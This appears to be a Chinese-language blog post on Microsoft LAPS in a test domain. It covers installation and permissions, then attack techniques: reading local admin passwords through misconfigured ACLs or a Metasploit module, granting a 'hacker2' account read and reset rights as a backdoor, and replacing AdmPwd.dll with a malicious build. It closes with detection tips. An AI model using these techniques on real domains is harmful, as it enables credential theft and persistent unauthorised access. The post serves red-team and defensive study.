LAPS及其相关利用

  1. 1. 0x00 LAPS
  2. 2. LAPS安装
    1. 2.1. 单个机器安装
    2. 2.2. 域内安装
  3. 3. LAPS相关权限
  4. 4. LAPS利用思路
    1. 4.1. WrongConfig
    2. 4.2. Backdoor
    3. 4.3. 劫持AdmPwd.dll
    4. 4.4. SearchFlags
  5. 5. 防御/检测
  6. 6. 参考

0x00 LAPS

在实际的域环境中,域内主机的本地管理员账户往往被忽视,再加上统一的配置,域内主机的本地管理员密码往往相同,这就带来了一个问题,如果获得一台域内主机的本地管理员密码,其他域内主机的本地管理员密码自然就知道了,解决这个问题最好的办法就是确保每台域内主机有不同的密码,并且定期更换。

LAPS(Local Administrator Password Solution)是微软实现域内主机本地管理员账户密码随机化的一个协议,即保证域内每一台机器的本地管理员的密码都会被定期随机更改.

Q: 同时也存在一个问题,默认情况下DomainAdmins组会加入到每一台机器的本地管理员组,LAPS应用是否会导致DomainAdmins组的Password被更改?

A: 否. 但是在域控上设置LAPS会影响域内置Administrator账户的password.

LAPS安装

download : https://www.microsoft.com/en-us/download/details.aspx?id=46899

LAPS安装配置参考 https://4sysops.com/archives/how-to-install-and-configure-microsoft-laps/

单个机器安装

选择全部功能安装即可:

image-20211106094635047

如何使安装的LAPS生效?

首先更新AD目录:

1
2
Import-module AdmPwd.PS
Update-AdmPwdADSchema

对于单个机器,编辑其本地安全策略即可使LDPS生效. gpedit.msc打开本地组策略配置LAPS管理模板

image-20211106095019533

然后我们需要为域内的本地管理员添加读取密码的权限,这样才能看到LAPS策略设置的密码.

1
2
# 添加读取密码权限
Set-AdmPwdReadPasswordPermission -OrgUnit "CN=Computers,DC=test001,DC=com" -AllowedPrincipals test001\administrator

然后使用LAPS UI或者直接查看dc1机器属性即可看到dc1机器本地管理员用户密码

image-20211106100332232

ms-Mcs-AdmPwd属性即为LAPS所设置的密码,ms-Mcs-AdmPwdExpirationTime为密码过期时间.

image-20211106100428572

然后我注销登录,尝试使用test001\administrator 也就是域控账户登录dc1, 发现密码已经被更改:

image-20211106100638260

需要使用LAPS设置的密码Dg;+cLa}}iB9d9登录.

[!] 在域控上应用LAPS同时也会影响到域内置Administrator用户的密码设置. 域内置的Administrator就是建立域时域控本地的administrator账户.

域内安装

域内安装和应用LAPS的方法也很简单,编辑域的组策略即可:

新建一个组策略,首先配置LAPS的安装:

image-20211106101630904

安装包放到对应组策略的Machine文件夹,然后配置软件安装

image-20211106102026915

然后在登录时就会自动安装LAPS

image-20211106102109646

然后为域内机器添加配置LAPS的权限.

1
2
import-module AdmPwd.PS
Set-AdmPwdComputerSelfPermission -OrgUnit "CN=Computers,DC=test001,DC=com"

最后配置域策略LAPS管理模板

image-20211106102457439

设置好之后可以手动更新组策略:

image-20211106102712807

使用LAPS UI即可查看LAPS设置的DC002机器本地Administrator的Password p5@wb1[,TT@vK#

image-20211106102733614

LAPS相关权限

查看可以访问存储密码的用户组:

Find-AdmPwdExtendedRights -OrgUnit “CN=Computers,DC=test001,DC=com”

image-20211106103211747

默认应该只有SYSTEM和Domain Admins,

为用户增加读取密码和修改密码的权限:

1
2
Set-AdmPwdReadPasswordPermission -OrgUnit "CN=Computers,DC=test001,DC=com" -AllowedPrincipals test001\hacker2
Set-AdmPwdResetPasswordPermission -OrgUnit "CN=Computers,DC=test001,DC=com" -AllowedPrincipals test001\hacker2

赋予机器更新密码的权限

1
Set-AdmPwdComputerSelfPermission -OrgUnit "CN=Computers,DC=test001,DC=com"

去除某个用户的LAPS权限,如去除hacker2的权限:

为某个用户添加更新密码等权限也就是在cn=computers,dc=test001,dc=com项的安全描述符上加一些可继承的DACL,直接修改cn=computers,dc=test001,dc=com权限,去除hacker的权限

image-20211106104419309

删除如下两个DACL即可.

image-20211106104747182

LAPS本身并没有提供去除某个权限的功能

image-20211106103930296

LAPS利用思路

判断是否存在LAPS:

1
Get-ChildItem ‘c:\program files\LAPS\CSE\Admpwd.dll’

WrongConfig

管理员错误配置可能导致EveryOne对ms-Mcs-AdmPwd都有读取权限.使用如下方式来获取指定机器Password.

1
2
3
PS C:\Users\Administrator\Desktop> Get-ADComputer -Identity dc1 -properties * | findstr ms-Mcs-AdmPwd
ms-Mcs-AdmPwd : Dg;+cLa}}iB9d9
ms-Mcs-AdmPwdExpirationTime : 132832292896601706

msf中已经有模块集成 : run post/windows/gather/credentials/enum_laps

Backdoor

在拿到域控权限时为指定用户添加更新密码和读取密码的权限.如

1
2
Set-AdmPwdReadPasswordPermission -OrgUnit "CN=Computers,DC=test001,DC=com" -AllowedPrincipals test001\hacker2
Set-AdmPwdResetPasswordPermission -OrgUnit "CN=Computers,DC=test001,DC=com" -AllowedPrincipals test001\hacker2

劫持AdmPwd.dll

可以利用 https://github.com/GreyCorbel/admpwd 项目,插入恶意代码之后再重写编译AdmPwd.dll然后替换正常的dll文件.

实现可参考 https://youtu.be/33ZqY7cFt0A

SearchFlags

更改ms-Mcs-AdmPwd的Search Flags属性

属性也是一个LDAP对象.

image-20211106111851373

这篇文章 最后提到了可以利用DCShadow修改ms-Mcs-AdmPwd的Search Flags属性的属性,但并未说明有什么效果.

SearchFlags相关内容只搜到了:

meaning value
Attributes whose values are copied when the object is copied (Notes 4, 12) (searchFlags:1.2.840.113556.1.4.803:=16)
Attributes preserved in tombstone object when object deleted (Notes 4, 12) (searchFlags:1.2.840.113556.1.4.803:=8)
Attributes in the Ambiguous Name Resolution (ANR) set (Notes 4, 12) (searchFlags:1.2.840.113556.1.4.803:=4)
Attributes in the Schema that are indexed (Notes 4, 12) (searchFlags:1.2.840.113556.1.4.803:=1)
Attributes marked confidential in the schema (Notes 4, 12) (searchFlags:1.2.840.113556.1.4.803:=128)
Attributes in the RODC filtered attribute set, or FAS (Notes 4, 12) (searchFlags:1.2.840.113556.1.4.803:=512)

有师傅读到这篇文章搞明白了SearchFlags有什么用可以私戳我.

防御/检测

  1. 对Admpwd.dll的签名进行检查: Get-AuthenticodeSignature ‘c:\program files\LAPS\CSE\Admpwd.dll’
  2. 对Computers对象的ms-Mcs-AdmPwd权限进行主动扫描,扫描异常项.

参考

https://akijosberryblog.wordpress.com/2019/01/01/malicious-use-of-microsoft-laps/

https://akijosberryblog.wordpress.com/2017/11/09/dump-laps-password-in-clear-text/

https://juejin.cn/post/6844903572497235981